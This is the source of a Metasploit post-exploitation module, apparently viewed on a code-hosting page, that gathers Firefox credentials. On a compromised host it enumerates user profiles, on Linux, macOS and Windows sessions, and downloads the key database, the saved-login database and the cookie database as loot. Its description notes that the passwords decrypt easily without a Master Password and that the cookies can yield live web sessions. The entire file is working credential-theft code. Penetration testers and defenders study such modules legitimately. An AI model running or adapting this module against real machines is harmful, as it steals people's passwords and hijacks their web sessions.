metasploit-framework/modules/post/multi/gather/firefox_creds.rb

271 lines
6.6 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Firefox Signon Credential Collection',
'Description' => %q{
This module will collect credentials from the Firefox web browser if it is
installed on the targeted machine. Additionally, cookies are downloaded. Which
could potentially yield valid web sessions.
Firefox stores passwords within the signons.sqlite database file. There is also a
keys3.db file which contains the key for decrypting these passwords. In cases where
a Master Password has not been set, the passwords can easily be decrypted using
third party tools. If a Master Password was used the only option would be to
bruteforce.
},
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Version' => '$Revision$',
'Platform' => ['windows', 'linux', 'bsd', 'unix', 'osx'],
'SessionTypes' => ['meterpreter', 'shell' ]
))
#TODO
# - add support for decrypting the passwords without a Master Password
# - Collect cookies.
end
def run
paths = []
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported on windows hosts"
return
end
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
if dir
paths << dir
end
end
else
print_error("Unsupported platform #{session.platform}")
return
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
end
download_loot(paths.flatten)
end
def enum_users_unix
id = whoami
if id.nil? or id.empty?
print_error("This session is not responding, perhaps the session is dead")
end
if @platform == :osx
home = "/Users/"
else
home = "/home/"
end
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
else
print_status("We do not have root privileges")
print_status("Checking #{id} account for Firefox")
firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
firefox.each_line do |profile|
profile.chomp!
next if profile =~ /No such file/i
if profile =~ /\.default/
print_status("Found Firefox Profile for: #{id}")
return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
end
end
return
end
# we got root check all user dirs
paths = []
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
if dir =~ /root/
dir += "/.mozilla/firefox/"
end
print_status("Checking for Firefox Profile in: #{dir}")
stat = session.shell_command("ls #{dir}")
if stat =~ /No such file/i
print_error("Mozilla not found in #{dir}")
next
end
stat.gsub!(/\s/, "\n")
stat.each_line do |profile|
profile.chomp!
if profile =~ /\.default/
print_status("Found Firefox Profile in: #{dir+profile}")
paths << "#{dir+profile}"
end
end
end
return paths
end
def check_firefox(path)
paths = []
path = path + "\\Mozilla\\"
print_status("Checking for Firefox directory in: #{path}")
stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
if !stat
print_error("Firefox not found")
return
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /Firefox/i and @platform == :windows
paths << path + fdir + "Profiles\\"
print_good("Found Firefox installed")
break
else
paths << path + fdir
print_status("Found Firefox installed")
break
end
end
if paths.empty?
print_error("Firefox not found")
return
end
print_status("Locating Firefox Profiles...")
print_line("")
path += "Firefox\\Profiles\\"
# we should only have profiles in the Profiles directory store them all
begin
session.fs.dir.foreach(path) do |pdirs|
next if pdirs == "." or pdirs == ".."
print_good("Found Profile #{pdirs}")
paths << path + pdirs
end
rescue
print_error("Profiles directory missing")
return
end
if paths.empty?
return nil
else
return paths
end
end
def download_loot(paths)
loot = ""
paths.each do |path|
if session.type == "meterpreter"
session.fs.dir.foreach(path) do |file|
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
print_good("Downloading #{file} file from: #{path}")
file = path + "\\" + file
fd = session.fs.file.new(file)
begin
until fd.eof?
loot << fd.read
end
rescue EOFError
ensure
fd.close
end
ext = file.split('.')[2]
if ext == "txt"
mime = "plain"
else
mime = "binary"
end
file = file.split('\\').last
store_loot("firefox.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "Firefox #{file} File")
end
end
end
if session.type != "meterpreter"
files = session.shell_command("ls #{path}").gsub(/\s/, "\n")
files.each_line do |file|
file.chomp!
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
print_good("Downloading #{file}\\")
data = session.shell_command("cat #{path}#{file}")
ext = file.split('.')[2]
if ext == "txt"
mime = "plain"
else
mime = "binary"
end
file = file.split('/').last
store_loot("firefox.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "Firefox #{file} File")
end
end
end
end
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
return session.fs.file.expand_path("%USERNAME%")
else
return session.shell_command("whoami").chomp
end
end
end